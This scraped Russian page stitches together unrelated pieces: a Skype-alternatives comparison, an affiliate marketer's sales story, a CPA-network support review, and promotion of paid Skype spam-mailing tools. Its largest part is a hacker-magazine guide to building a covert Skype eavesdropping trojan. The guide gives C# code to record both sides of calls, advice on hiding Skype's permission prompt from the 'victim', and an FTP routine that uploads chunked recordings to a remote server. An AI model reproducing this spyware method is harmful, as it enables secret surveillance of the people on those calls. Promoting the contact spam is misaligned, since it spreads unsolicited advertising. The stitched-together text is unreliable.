Подслушиваем Skype: хакерский подход к резервному копированию VoIP-разговоров. Как заработать на бесплатных консультациях в Skype

Чем заменить Skype, если он опять не работает: чат, звонки, видеосвязь

«Шо, опять?!»: с 18 июня в течение двух дней у некоторых пользователей были проблемы с подключением и передачей сообщений в Skype

Skype - один из самых старых, популярных и технологичных сервисов для общения. Но на нём свет клином не сошёлся, у вас есть возможность перейти на хороший альтернативный сервис, исходя и ваших потребностей. А я вам с этим помогу.

Wire

Чат, «телефон» и видеосвязь для Маков, Windows, Linux, iOS, Android-устройств и даже веб-браузера. Сервис от бывших работников Skype, который поддержал сооснователь «Скайпа» Янус Фрис.

В Wire применяется оконечное шифрование, когда сообщения и звонки шифруются на устройстве отправителя и дешифруются на устройстве получателя, а не на серверах компании. Приложение хорошо выглядит, быстро работает, а качество передачи речи, по моему мнению, лучшее среди приложений из этого сравнения.

Достоинства Wire:

Отличное качество передачи речи,
оконечное шифрование,
открытый код приложений и сервиса,
групповые чаты и аудиозвонки,
демонстрация экрана собеседнику,
в приложении нет рекламы,
компания не собирает данные о пользователях,
юрисдикция Швейцарии

Недостатки Wire:

Нет групповых видеозвонков,
невысокая популярность

Wire подойдёт как для личного общения, так и деловой переписки или чата с коллегами в небольшой компании.

Telegram

В конце марта 2017 года в месседжере основателя «ВКонтакте» Павла Дурова появились голосовые звонки. Вместе с поддержкой оконечного шифрования («секретные чаты» и звонки), наличием разнообразных ботов, поиском и фильтрацией по хештегам, удобной передачей файлов, это сделало «телеграм» серьёзным конкурентом более старым и популярным месседжерам.

Достоинства «телеграма»:



открытый код приложений,
групповые чаты,

в приложении нет рекламы

Недостатки «телеграма»:

Нет групповых аудио- и видеозвонков,

закрытый код серверной части сервиса,

Telegram хорош для личного общения, а благодаря бесконечной истории и возможности поиска в чатах, его можно использовать и для общения команды в небольшой компании.

Google Hangouts

Универсальный менеджер от Google, с удобными приложениями для iOS и Android, Веб-приложением , интегрированный с Gmail и Inbox для Gmail.

Достоинства Hangouts

Хорошее качество передачи речи,
удобные групповые чаты, аудио- и видеозвонки,
интеграция с Gmail (в том числе, истории чатов),
демонстрация экрана собеседникам,
все медиафайлы из чатов доступны в архиве альбомов

Недостатки Hangouts


закрытый код сервиса,
Google собирает данные о пользователях

Хороший вариант для личного общения или в команде, для пользователей Gmail. Для компаний, использующих в работе G Suite , лучше подойдёт Google Meet .

Slack

Мощнее средство для общения в команде. В отличие от Skype и других участников нашего списка, работа построена не вокруг списка контактов, а вокруг «команды», в которую входят пользователи. Пользователь может участвовать в разных командах, в каждой из которых будет свой список участников.

Общение в команде построено в свою очередь вокруг «каналов», которые могут быть как общими для всех участников, так и для определённых пользователей. Есть возможность отправки личных сообщений.

Сильная сторона Slack - возможность интеграции множества сторонних сервисов и ботов, а также мощнейший поиск по истории общения.

Есть поддержка голосовых и видеозвонков. Бесплатная версия отличается от платной (от $6,67 в месяц за активного пользователя) кроме прочего отсуствием групповых звонков, ограничениями на количество сообщений в истории чата и размером облачного пространства (5 ГБ на всю группу пользователей) для хранения файлов.

Достоинства Slack

Хорошее качество передачи речи,
удобные групповые чаты,
групповые аудио- и видеозвонки (платная версия),
интеграция с множеством популярных сервисов,
наличие ботов,
мощный поиск по истории (до 10 тыс. сообщений в бесплатной версии)

Недостатки Slack

Отсутствует оконечное шифрование,
закрытый код сервиса,
ограничения бесплатной версии
не предназначен для личного общения

Идеальный вариант для общения в команде любого размера, особенно в случае использования платной версии сервиса.

Facebook Messenger

Вкупе с WhatsApp, Facebook Messenger является самым популярным средством общения в мире (около 80% рынка месседжеров, по данным SimiliarWeb). Хоть и интегрирован с Facebook, Messenger, по сути, является отдельным сервисом, с возможностью использования его в отдельных веб- и мобильных приложениях.

Есть возможность оконечного шифрования сообщений между двумя собеседниками (Secret Conversation, по умолчанию не включено).

Поддерживаются групповые аудио- и видеозвонки, передача файлов. Особенность сервиса - возможность в мобильных приложениях добавлять напоминания в чаты. То есть, вам не нужно в большинстве случаев во время переписки что-то заносить в календарь, «ставить будильник», или «напоминалку» в стороннем приложении.

Достоинства Messenger:

Поддержка оконечного шифрования,
групповые чаты, аудио- и видеозвонки,
клиенты под популярные платформы,
поддержка ботов,
интеграция с Facebook,
огромное количество пользователей,
возможность добавлять напоминания в чаты

Недостатки Messenger:

Не лучшее качество передачи речи при нестабильном соединении
оконечное шифрование не используется по умолчанию,
не самое быстрое приложение, может показаться перегруженным разными возможностями,
закрытый код сервиса,
нет возможности демонстрации экрана собеседнику,
неизвестно, какие данные о пользователях собирает компания

Очень хорошо подойдёт для личного общения, а также для групповых чатов, но вряд ли будет оптимальным вариантом для серьёзной работы в команде.

Продажи по Скайпу хорошо работают у моих коллег. Когда ещё брал интервью трёхчасовое у , обратил внимание, что она делает ставку на работу по Скайпу.

Учитывая то, что она харизматичная личность, ей не составляет труда продать через Скайп свою услугу, партнёрские тренинги или инфопродукты, подписать в свою сетевую компанию.

В личной беседе продажи лучше идут, так как клиент видит своего собеседника. Идёт открытый диалог, а следовательно доверия на порядок выше, нежели через рекламу в Интернете.

В VIP-группе Челпаченко проходили на днях обучение касаемо бесплатных скайп-консультаций. Предлагалось в свою рассылку по базе подписчиков предлагать определённым образом скайп-консультации.

И тут у нас, у кураторов эксперт-группы «Быстрые деньги в Интернете с полного нуля до первой прибыли» на совещании было решено 13 сентября закончить набор обучающихся. Владислав Челпаченко сказал, что даст рассылку по своей базе подписчиков для привлечения внимания потенциальных клиентов.

И между делом Влад предложил двум другим кураторам, то есть мне и Ивану Кунпану написать письмо своим подписчикам с предложением о бесплатной скайп-консультации с продажей на ней обучения в эксперт-группе. Иван в связи с занятостью не успевал сделать рассылку, а я вот покорпел с часок над письмом и размещением его на Смартреспондере и Джастклике.

Продажи по Скайпу. Письмо подписчикам о бесплатной скайп-консультации

Письмо по базе подписчиков было с заголовком «{$name}, моя бесплатная скайп-консультация для Вас о 10 способах дохода в Интернете, гарантирующих прибыль».

Текст смотрите ниже.

Здравствуйте, {$name}!

Есть отличная новость!

Недавно с инфобизнесменом Владиславом Челпаченко проводили вебинар про партнёрский маркетинг. То есть о доходе на партнёрских программах через Интернет. Один из вебинаров здесь https://сайт/10-sposobov-chel

Очень интересная тема. А вчера в нашей эксперт-группе обучали заработку на Ютубе. Огромное количество вопросов у людей по заработку в Интернете.

Многих, очень многих интересует доход в Интернете. Но, так как они не знают, с чего начинать, то сидят в ступоре месяцами, а то и годами. Я сам так сидел с гигабайтами бесплатных материалов.

Но одно дело изучать в одиночку, а другое дело в среде единомышленников.

На протяжении полутора лет я изучал заработок в Интернете на основе различных обучающих материалов с наставником Владом Челпаченко. Вебинар Влада про 10 способов дохода узнаете на https://сайт/10-sposobov-chel

Сам я имею доход на блогинге и партнёрках. Вы были на моём блоге и можете в последних статьях посмотреть мою схему монетизации блога.

Вот одна из статей .

Вы мне можете задавать абсолютно любые вопросы. Все вопросы мы решим!

Мой скайп: andrey27440. Добавляйтесь, звоните, и я буду рад Вам помочь.

Мои контакты: https://сайт/contacts.

Удачи!

Такое письмо я отправил. После этого несколько человек добавились ко мне в Скайп и три человека изъявили желание пройти скайп-консультацию.

Также у меня была написана статья про и отзывы участников на . Ещё я разместил в топовых статьях ссылки на эксперт-группу. В итоге три продажи эксперт-группы у меня прошли.

С двух скайп-консультаций, одна из которых у меня проходила в полночь, люди после общения попросили скинуть ссылки на вебинар, на продающий сайт. В итоге 13 сентября, в последний день две оплаты прошли эксперт-группы в Джастклике.

Сложно ли это было? И да, и нет. Сложно ли поговорить с человеком по Интернету в Скайпе и объяснить, что ты знаешь. Нет, не сложно. Сложно ли общаться в полночь, тратить время и не знать оправдаются усилия? Да.

Но, главное в нашей работе через Интернет – это результат наших действий, их анализ. В итоге мы видим с разницей в несколько часов сообщения на своей электронной почте: «Оплачен счёт №…, ваша комиссия … рублей».

Продажи по Скайпу. Мой видеотзыв

А здесь мой видеотзыв о продажах по Скайпу услуг в Интернете на базе скайп-консультаций.

"Аккаунт-менеджер в партнёрке — твой лучший друг", — твердят многие топовые арбитражники. Иные же недвусмысленно намекают на то, что АМ нередко бывают некомпетентны, и узнать — с какими офферами/источниками лучше всего сейчас работать можно только путём проб и ошибок. Партнеркин решил провести эксперимент среди СРА-сеток на приветливость, доброжелательность и готовность помочь новичку в арбитраже. Для этого мы отобрали 10 партнерок, и позадавали типичные вопросы саппортам от имени девушки-арбитражницы. И вот что у нас из этого вышло.

M1-Shop

Моментально добавили в скайпе и так же быстро ответили на вопросы. Предоставили список наиболее популярных офферов под разные источники трафика, сослались на свежий кейс одного из вебмастеров. Готовой связки вам тут скорее всего не дадут, но быстро, дружелюбно и информативно ответят на все вопросы.

KMA

Не менее дружелюбная партнерка с хорошо узнаваемым стилем. Если после регистрации вам будут недоступны контакты саппорта, напишите тикет и получите контакт менеджера в скайпе, где уже сможете позадавать интересующие вопросы. Несмотря на наличие в системе довольно подробной статистики по топовым офферам, менеджер не оставит вас с ней наедине, мол "разбирайтесь, всё есть в открытом доступе". Вы можете рассчитывать на адекватный и продуктивный диалог.

Admitad

К сожалению, персонального аккаунт-менеджера в этой сетке вы не сможете заполучить (или же для этого нужны хорошие объёмы трафика). Поддержка вебов осуществляется исключительно в тикетах. При этом скорость ответов колеблется в пределах 2-3 часов. Отвечают общими фразами. Не хватает оперативности и большей конкретики со стороны саппорта.

Everad

Приветливая девушка в скайпе отвечает быстро и по делу. На вопрос о трендовых на данный момент офферах Тая предоставила связки по 4 наиболее ходовым офферам и пожелала высокого конверта. В общем, остались только положительные эмоции.

Wap.click

Оперативно добавляют в скайп, и первым делом интересуются вашим источником трафика. Тот же вопрос дублируют на почту. Также хотят увидеть скрины из других сеток, даже если вы до этого работали только с товаркой. Предлагают искать ответы на все свои вопросы на своем сайте. В общем, сложилось впечатление, что тут на вас времени много тратить не станут.

LuckyPartners

Саппорт быстрый, но на мой взгляд не особо приветливый. Общаются как-будто нехотя. В принципе наиболее конвертящие источники и промо-материалы выдали, но общее впечатление осталось так себе.

MOBIDEA

Приятным сюрпризом стал русскоговорящий саппорт! Аккаунт-менеджера предоставят после некоторого, можно сказать, тестового периода вашей работы с MOBIDEA. Но и общий саппорт более чем приветлив. Предоставляет офферы, лучше всего подходящие под арбитражный трафик, и подключает их для работы в режиме реального времени. Чувствуется желание помочь даже самым зеленым адвертам.

Advertise

Медленный и не слишком приветливый саппорт. Не расщедрились даже на приветствие. Информация выдается без энтузиазма и подробностей. В общем-то, толком так и не удалось ничего внятного узнать.

Конструктивного диалога как-то не вышло, то ли по времени не совпадали, то ли у менеджера таких как я много, но ответы были очень редкими, хоть и доброжелательными.

Travelpayouts

К сожалению, саппорт доступен только по почте, что доставляет некоторые неудобства. Ответы приходят на следующий день, а то и через день. Но при должном терпении диалог будет конструктивным.

Не забудь подписаться на наш канал в Telegram , где мы собираем только отборные новости из мира CPA.

Сегодня Я хочу поговорить о заработке с помощью Skype. Многие, наверное, даже и не думали, что с помощью программы Skype можно зарабатывать, при чем в автоматическом режиме.

Суть заработка заключается в том, что специальная программа будет рассылать по Вашим контактам Skype рекламные письма, за которые Вы будете получать деньги. Круто да? Итак, приступим :

Сервисы для заработка в Skype

  • Sendsey . Этот сервис позволяет зарабатывать с помощью массовых скайп рассылок по контактам Skype. Для того чтобы начать зарабатывать, необходимо перейти на сайт и зарегистрироваться http://sendsey.com/u/Eha . Регистрация как везде, e-mail и пароль. Далее заходим в кабинет и скачиваем программу на ПК. После этого устанавливаем её на свой компьютер и авторизуемся в системе под логином и паролем, который Вы указывали при регистрации на сайте программы. После этого в самом Skype Вам нужно дать разрешение на использовать программы, нажав на всплывающее окно. Всё, теперь программа начнет работать. Она будет в различное время рассылать рекламные предложения по Вашим контактам Skype. Чем больше у Вас контактов, тем будет больше Ваша прибыль. За 1 письмо Вам будут платить примерно 0,006 $
  • Skinver . Ещё один сервис, позволяющий зарабатывать в Skype - это Skinver. Здесь всё то же самое. Регистрируетесь http://skinver.ru/u/eha777 , скачиваете программу и запускаете (устанавливать не нужно), авторизуетесь и готово. Программа начнет работать.
  • . Ещё один сервис для заработка в Skype – postingblues. Здесь рассылка делается в полуавтоматическом режиме. После регистрации , заходите в кабинет, скачиваете программу на ПК и запускаете. На начальном тарифе Вам будет доступна рассылка на 300 контактов в день. Можно купить тариф выше, базовый дается бесплатно. После запуска программы, Вам нужно будет выбрать предложенное рекламное сообщение, поставив галочку возле него. Далее выбрать свой список контактов, можно выбрать тех, кто онлайн и нажать «начать публикацию». Всё, начнется рассылка сообщений и в реальном времени Вы сможете увидеть как на Ваш счет капают деньги.

Вот, в принципе, и все основные сервисы для заработка в Skype с помощью спам рассылок. Есть и другие, но мне хватает и этих.

Если Вы решили зарабатывать с помощью этого способа, рекомендую создать отдельный скайп и уже в него добавлять контакты и делать рассылки. Потому что, Я думаю, Ваши близкие не очень будут рады получать от Вас 1-2 раза в день письма с различном рекламой

Добавляйте в день не более 25 контактов, потому что Вас могут забанить (заблокировать аккаунт skype навсегда). У меня такое было и не раз.

.
Если раньше нам нужно было часами отвисать в текстовых чатах, набивая килобайты
информации, то теперь, благодаря распространению безлимитного инета вплоть до
российской глубинки, даже самые удаленные от столицы интернетчики могут познать
радость голосового общения.

Способы перехвата

С целью мы определились и теперь нужно начитаться скучной теории, без которой
в таком деле продвинуться нереально. Прогуляйся по улице, свари себе чашечку
глинтвейна, расположись удобнее в кресле и начинай впитывать священные знания.

Способ #1

Буквально в начале октября 2009 года один умелец написал продвинутый снифер,
о котором написали во всех security-ресурсах всемирной паутины. Если верить
новостям и автору снифа, то выходит, что перцу удалось перехватить скайп-трафик
(ну, это можно было сделать и раньше) и, что самое главное – расшифровать его.

Обойти такое событие стороной я не мог, поэтому немедленно решил найти
заветный исходничек (автор снифера был чертовски добр и выложил на паблик полный
сорец), но жестко обломался. Враги народа убрали заветный сорец с сабжевого
сайта, а часовой марш-бросок по гуглу нормальных результатов не дал. Мне лишь
попадались какие-то нерабочие сорцы.

Совсем отчаявшись, я плюнул на этот вариант. Стоп! Если ничего не вышло, то
зачем я все это тебе рассказываю? Все просто, ситуация меняется каждый день и
вполне возможно, что к моменту выхода статьи в свет на просторах всемирной
паутины появятся рабочие сорцы этого тройчика. Чем черт не шутит. Учти, если
удастся найти заветный исходник, то считай, что у тебя в руках все козыри и
теперь все скайперы станут для тебя мишенями.

Способ #2

Несомненно, первый способ — самый лучший, но с реализацией реальный напряг.
Буду откровенен: я уже отчаялся и хотел положить на всю затею железный болт, но
редактор рубрики был другого мнения. После пары намеков, двух ударов по почкам и
печени я не смог отказать в подготовке материала. Как оказалось, сделал я это не
зря.

Если не получается достичь цели напрямую, то нужно заходить с тылу. Так
поступил и ваш покорный слуга. Идея проста до безобразия и, возможно, ты уже
даже юзал эту фичу для какого-нибудь благого дела.

Не буду ходить вокруг да около, а раскрою все карты. Итак, в горячо мной
любимых операционных системах от Microsoft есть такая фича — стерео-микшер.
Немногие знают, что благодаря этой, казалось бы, бесполезной приблуде и
какого-нибудь языка программирования реально сварганить полноценного
skype-шпиона.

Активируй в своей (или не совсем своей?) системе стерео-микшер, и тебе
становятся подвластными оба звуковых потока – тот, которой идет на микрофон и
соответственно тот, который поступает на колонки/наушники. Догадываешься, к чему
я клоню? Все верно, чтобы зарипать беседу двух людей по скайпу, тебе лишь
потребуется воспользоваться стандартным WinAPI/объектами для записи звука с
микрофона.

Сделать это достаточно просто и убедиться в этом ты сможешь, взглянув на
врезку 1. В нем я привел часть, отвечающего за запись звука. Не торопись все это
переписывать, сразу он у тебя все равно не скомпилится.

Увы, несмотря на всю мощь и безграничные возможности.NET Framework, в нем
совершенно отсутствуют инструменты для записи звука. Несомненно, в будущих
версиях этот пробел будет восполнен, но мы-то ждать не можем!

Многие.NET-разработчики для организации в своих приложениях возможности
записи звука используют банальные вызовы API-функций. Вариант неплохой, но
крайне неудобный. Я пошел несколько другим путем и воспользовался наработками
Mark Heath.

Этот человек потрудился на славу и создал проект NAudio – аудиоредактор с
открытым исходным кодом. В рамках проекта Марк написал каркас, позволяющий
максимально удобно взаимодействовать с различными WinAPI-функциями для работы со
звуком.

NAudio доступен на . Просто
подтяни его модули к своему проекту и тебе станут доступны все необходимые
классы. Записывать звук с их помощью крайне просто. Да ты, наверное, в этом уже
убедился:).

В самом начале листинга я определяю формат WAV-файла. Для этого мне требуется
установить количество каналов (в нашем случае будем писать в mono) и частоту
сэмпла. Кроме настроек формата аудиофайла, мне требуется определить устройство
(device number), с которого мы будем захватывать звук. Я устанавливаю 0, что
соответствует устройству записи "по умолчанию".

Узнавать об очередной порции поступивших на звуковую карту данных нам может
событие waveIn_DataAvaible(). Если оно сработало, то значит пришли данные и их
требуется записать.

А вот и первые минусы

Не спеши пускать слюни и пытаться впопыхах сотворить зловреда для Skype.
Предложенный мной способ хорош и полностью работоспособен, но у него есть
несколько минусов, о которых тебе необходимо узнать заранее. Некоторые из них:

1. Нет никаких гарантий, что в системе пользователя стерео-микшер вообще
будет активен. Да, он включен по умолчанию, но многие пользователи принудительно
отключают его. Зачем? Лично мне приходится это делать из-за того, что я пишу
подкасты и мне крайне важно, чтобы звук захватывался лишь с моего микрофона, а
не голоса соведущего.

Твоя программа должна быть готова к такому положению дел и в случае чего
суметь самостоятельно внести нужные настройки. Вот здесь возникают небольшие
сложности, но разве кто-то говорил, что будет совсем просто?

2. Нет четкого ориентира, на который можно опереться и 100% заверить, что
именно сейчас пользователь начал общаться со своим собеседником. На одном из
кодерских форумов для решения данной траблы предлагали следующий способ:
анализировать звук, поступающий на микрофон и в случае обнаружения больших
скачков звуковой волны (т.е. когда человек начинает орать/говорить) приступать к
записи. Для прерывания следует руководствоваться примерно таким алгоритмом –
ждем тишины и, если она длится более n минут, прекращаем захват звука.

Предложенный алгоритм, несомненно, хорош, но в описанном выше виде им лучше
не пользоваться. Попробую объяснить, почему. Заюзав данный способ в чистом виде,
ты рискуешь напороться на большое количество ложных срабатываний. Если на
вражеской территории микрофон лежит возле колонок, из которых без устали звучит
heavy metal, то твой трой будет постоянно вести запись, и во время сбора урожая
ты обнаружишь, что у тебя появился сборник всех любимых треков твоей жертвы. Что
же тогда делать? Надеяться на авось и писать все подряд? Можно, но это как-то не
по-хакцерски.

Я провел небольшой мозговой штурм и пришел к выводу, что озвученным выше
способом пользоваться можно, но только предварительно организовав страховку.
Страховка может быть, как минимум, двух видов:

1. Хуки. В нашем журнале мы неоднократно описывали технику применения хуков,
и еще раз расписывать все подробности и, тем более, приводить примеры, меня
сильно обламывает. Ты уже не маленький и такие вещи должен знать:). Я лишь
подскажу алгоритм:

a. Ставим хук на обработку создания новых окон.

b. Реализуем проверку, в которой обрабатываем каждое вновь созданное окно. В
коде проверки мы должны смотреть на: родителя окна, класс окна, заголовок и т.д.
По этим признакам мы можем распознать окно входящего Skype-звонка и в случае
чего начать запись.

2. Функции для работы с окнами. Вторым вариантом решения задачи будут хорошо
знакомые тебе WinAPI-функции для работы с окнами. Ты ведь еще помнишь такие
слова, как FindWindow, EnumWindows, EnumChildWindows и т.д.? С помощью этих API
реализовывается банальный поиск окна входящего звонка. Если окно найдено, то это
означает, что жертва начала базарить по скайпу, в противном случае нужно
выполнить поиск чуть попозже. Периодичность поиска должна быть минимальной,
иначе ты рискуешь пропустить секретные звонки.

Способ #3

И вот мы медленно, но верно добрались до самого простого и удобного способа
записи skype-бесед. Немногие знают, что разработчики Skype поощряют людей,
имеющих желание разрабатывать всякие полезняшки для их детища. Само поощрение
выражается в разработке и обновлении официального SDK.

На основе компонент, входящих в SDK, программисты могут создавать аддоны или
просто приложения на базе Skype. В качестве одной из вкусностей этого наборчика
можно выделить наличие примеров для разных популярных языков программирования.
Тут тебе и C++, и C#, и даже великий и могучий Delphi не забыт (кстати, не все в
курсе, но сам Skype написан на Delphi). Одним словом, этот SDK – рай для
программистов, решивших поковырять Skype.

Для нас с тобой SDK – это даже круче, чем рай. На базе этого каркаса мы
сможем не только записать голосовое общение пользователя, но и перехватить
полученные и отправленные им текстовые сообщения, файлы, совершить звонок от его
имени и т.д.

Но не будем бежать впереди паровоза, восхваляя то, что еще пробовали, а
познакомимся со всеми нюансами на примере.

Лезь на наш DVD и устанавливай SDK. Установка не должна вызвать затруднений.
Просто запусти файлик из папочки SDK и соглашайся со всем, что у тебя спросят.
Завершив установку – запускай Visual Studio (я использовал 2008-ю версию) и
создавай новый проект. В качестве типа проекта выбери шаблон SEHEwc.

Пока у тебя создается проект, я вкратце расскажу про шаблон SEHEwc. По правде
говоря, это не совсем шаблон в привычном нам понимании. В реале это полноценный
пример, демонстрирующий все возможности хваленого мной SDK. Демка написана очень
хорошо и разбираться в ее коде одно удовольствие.

До начала погружения в код стартани свой скайп и запусти созданный прожект (я
сейчас про шаблон). При выполнении исходника твой скайп преданно отрапортует,
что такое-то приложение пытается получить доступ к его функциям. Давай добро и
попробуй отправить через скайп текстовое сообщение. Не успеешь его запулить, как
весь отправленный текст появится в текстовом поле. Это означает, что
демонстрационный пример успешно работает.

Мощность примера не вызывает сомнений. На первый взгляд может показаться, что
его код дает ответы на самые изощренные вопросы, связанные с программированием
скайпа. Но, самая нужная для нас фича – запись разговоров, в нем, увы, не
реализована. Что ж, будем исправлять ситуацию.

Перейди в редактор кода и найди описание метода OurCallStatus. В его теле
описано получение различной инфы о текущем звонке. Это все хорошо и безумно
интересно, но мы хотим другого. Сотри имеющийся код, и вместо него перепиши
содержимое третьей врезки. Пока ты будешь переписывать, я расскажу о том, что
там происходит.

В самой первой строке я выполняю проверку и сравниваю значение переменной
status с со значением clsInProgress перечисления TCallStatus (ух,
настальгическая дельфячья буковка T перед именем типа:)). Если они равны, то
беседа в самом разгаре и пора начинать запись звука.

Теперь приготовься и не упади со стула, когда узнаешь, что запись
осуществляется всего лишь одной строкой:

call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile,
@"Путь, куда сохранять" + call.Id.ToString() + ".wav");

В первый параметр метода set_captureMicDevice требуется передать устройство,
на которое будет выведен поток с микрофона. Типы устройств хранятся в
перечислении TCallIoDeviceType. Мы хотим захватывать звук в файл, поэтому ставим
callIoDeviceTypeFile. Второй параметр зависит от первого. В нашем случае в нем
передается путь к файлу, в который будем сохранять результат записи.

Обрати внимание, что вызовом метода set_captureMicDevice мы сохраним лишь
голос нашей жертвы, а те, с кем она говорит – останутся за кадром. Записывать
собеседников мы будем при помощи метода set_OutputDevice:

call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @"Путь
куда сохранять" + call.Id.ToString() + ".wav");

Параметры у него точно такие же, как и у предыдущего, поэтому дважды
рассказывать не буду:).

Можно сказать, что все готово. Компиль и запускай проект. При стартинге не
забудь одобрить в скайпе инжект, иначе ничего захватить не получится.

Попробуем протестировать наше приложение в реальных условиях. Попроси своего
приятеля, чтобы он позвонил тебе по скайпу и немного поболтал с тобой.

Если при переписывании листинга ты был крайне внимателен, то по переданным в
методы captureMicDevice и set_OutputDevice путям для сохранения файлов, будут
лежать свежеиспеченные WAV’ки. Прослушай их в своем плеере и убедись, что все
работает как надо.

Пользоваться SDK крайне просто (особенно если пишешь под.NET) и его
возможности будут однозначно востребованы при разработке профессионального
skype-logger’a.

Я не буду тебе рассказывать, как выполнять перехват текстовых сообщений и
другой полезной инфы. Все это делается путем вызова парочки методов, которые
подробно документированы. Доки (само собой на английском) всегда доступны на
официальном портале:

https://developer.skype.com/Docs/Skype4COMLib . Если ты испытываешь проблемы
с инглишем, то не расстраивайся. Просто посмотри код шаблона приложения. Думаю,
ты во всем разберешься. В крайнем случае – пиши мне.

Досадные ограничения

У официального SDK есть один, но крайне большой, минус. При запуске твоего
приложения скайп будет постоянно бить тревогу. Сам понимаешь, если жертва увидит
странное окошко с вопросом: "а разрешить ли этому приложению доступ?", то с
99,9% вероятностью она нажмет на кнопочку "Нет" и ты останешься в пролете. Чтобы
этого не случилось, я рекомендую тебе делать две проги – одна будет
ориентирована на захват звука и написана на удобном C#, а вторая является своего
рода загрузчиком. Ее основной целью будет незаметное пребывание в системе,
скрытие/нажатие кнопок ненужных окон (это про окошко одобрения запуска). Кроме
того, через эту самую прогу-загрузчик можно будет реализовать все функции
удаленного управления и т.д. В общем, идею ты понял.

Как бороться с "ненужными" окнами?

И во втором и в третьем методе захвата скайп-бесед мы напоролись на проблему
— взаимодействие с окнами чужого приложения. Я говорил, что о работе с чужими
окнами в нашем журнале мы рассказывали много раз (рекомендую статью про угон
кошельков веб мани, опубликованную года 3-4 назад), но если ты только влился в
нашу тусовку и не знаешь, что да как, не поленись, зайди на bing.com и поищи там
на предмет функций FindWindow, GetWindowText, PostMessage. Поисковик мелкомягких
сразу же тебя выведет на нужный раздел MSDN’а и ты быстренько сможешь
познакомиться с этими полезными функциями.

Вывод файлов

Рано или поздно ты столкнешься с еще одной большой проблемой – сбором урожая.
Безошибочно сейвить всю болтовню жертвы, конечно же, хорошо, но какой толк от
награбленного добра, если его нельзя забрать и проанализировать? Верно,
никакого.

Шпион для скайпа – это не кейлоггер и его логи так просто по почте не
отправишь. Мало того, что файлы со звуком брутально весят, так еще и пересылать
их протоколу smtp совсем не айс.

Задача вывода файлов усложняется в несколько раз, если юзер сидит не на
безлимите (да-да, такие еще встречаются). В этом случае пересылка больших по
объему файлов не останется незамеченной в статистике и это обязательно
насторожит продвинутого пользователя. Особенно, когда он будет испытывать
большие тормоза во время нахождения в сети.

Немного покумекав, я пришел к следующему алгоритму:

  1. Кодирование каждого файла со звуком в формат mp3. Изначально все разговоры
    нашей жертвы мы писали в WAV’ы, которые очень много весят. Например, средний
    размер продолжительной беседы (около часа) может достигать 50-80 метров (в
    зависимости от настроек). Пересылать такой файл в чистом виде, мягко говоря,
    нереально. Перекодировка в формат mp3 частично решит проблему размера. Если
    выставить максимальную степень сжатия и минимальный битрейт, то размер удастся
    сократить в 3-4 раза. Это уже лучше, но не идеально. Вывод тех же 5 метров
    может показаться затруднительным.
  2. Разбивка файла на более мелкие части. В предыдущем абзаце я сказал, что
    даже такая операция как кодирование файла в mp3 не спасет тебя от проблем с
    пересылкой. Лучше всего разбить сжатый файл на более мелкие части и отправлять
    уже их. Например, раздробить mp3 на частички по 300-500 Кб. Такие крохотульки
    будет куда проще и быстрее вывести с поля битвы.

По подготовке файлов к отправке я вроде все сказал. Быстренько пробежимся по
способу отправки. Несколькими абзацами выше, я заявил, что пересылать такие вещи
по smtp не очень правильно, да и попросту проблематично. Куда лучше заюзать
проверенный годами старый добрый ftp! Встроить в свое.NET-приложение
простенький FTP-клиент – что может быть проще? Взгляни на врезку и убедись сам.

Happy end

Нет предела возможностям человека и нет предела совершенству. Нерешаемых
задач не бывает и все трудности можно преодолеть. Сегодня я рассказал тебе про
строение скелета voice-logger’a, и дальнейший выбор зависит только от тебя. Либо
ты сведешь всю полученную инфу в одну кучу и создашь неуловимого шпиона для
скайпа, либо разработаешь профессиональный инструмент для легального бэкапа
переговоров:). Выбор за тобой, мне лишь остается попрощаться и пожелать тебе
удачи!

P.S. Полные исходники моего трояна не проси. Все равно не дам, я жадный:). А
если серьезно, я не поддерживаю такие вещи и не хочу, чтобы многие тупо компили
готовый проект и приступали к боевым действиям. Прослушка разговоров – это
вторжение в личную жизнь, а это, помимо незаконности, еще и подло! До встречи!

Warning

Подслушивание чужих разговоров – глубоко незаконная вещь. Используй
полученную информацию только для создания бэкапера своих разговоров!

Врезка 1. Записываем звук

//Подготавливаемся к записи
waveIn = new WaveIn();
waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable;
int sampleRate = 8000;
int channels = 1;

waveIn.WaveFormat = new WaveFormat(sampleRate, channels);
waveIn.StartRecording();

void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording)
writer.WriteData(e.Buffer, 0, e.BytesRecorded);

Врезка 2. Запись входящих звонков в файл

try
{
// Запись входящего звонка
if (status == TCallStatus.clsInProgress)
{
//Захватываем звук и сохраняем его в
//файл (поток пользователя)
call.set_CaptureMicDevice(

@"C:\temp\sound_user" + call.Id.ToString() +
".wav");

// Захватываем звук и сохраняем
//его в файл (всех остальных собеседников
call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile,
@"C:\temp\sound_people" + call.Id.ToString() +
".wav");

}
}
catch (Exception e)
{
//Выведем ошибки
AddTextToTextBox1(DateTime.Now.ToLocalTime() + ": " +
" Our Code – Невозможно выполнить захват аудио: " + call.Id.ToString() +
" – Источник ошибки: " + e.Source + " – Текст ошибки: " + e.Message +
"\r\n");

Врезка 3. FTP клиент средствами класса на основе класса FTP Dot .NET

try
{
FtpConnection myFtpConnection =
new FtpConnection();
myFtpConnection.MessageReceived +=
new FtpConnectionEventHandler(connection_MessageReceived);

myFtpConnection.Host =
"ftp://myftpserver";
myFtpConnection.UserName =
"username";
myFtpConnection.Password =
"password";
myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}

catch (WebException ex)
{

}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}

void connection_MessageReceived(object sender,
FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);



Понравилась статья? Поделиться с друзьями: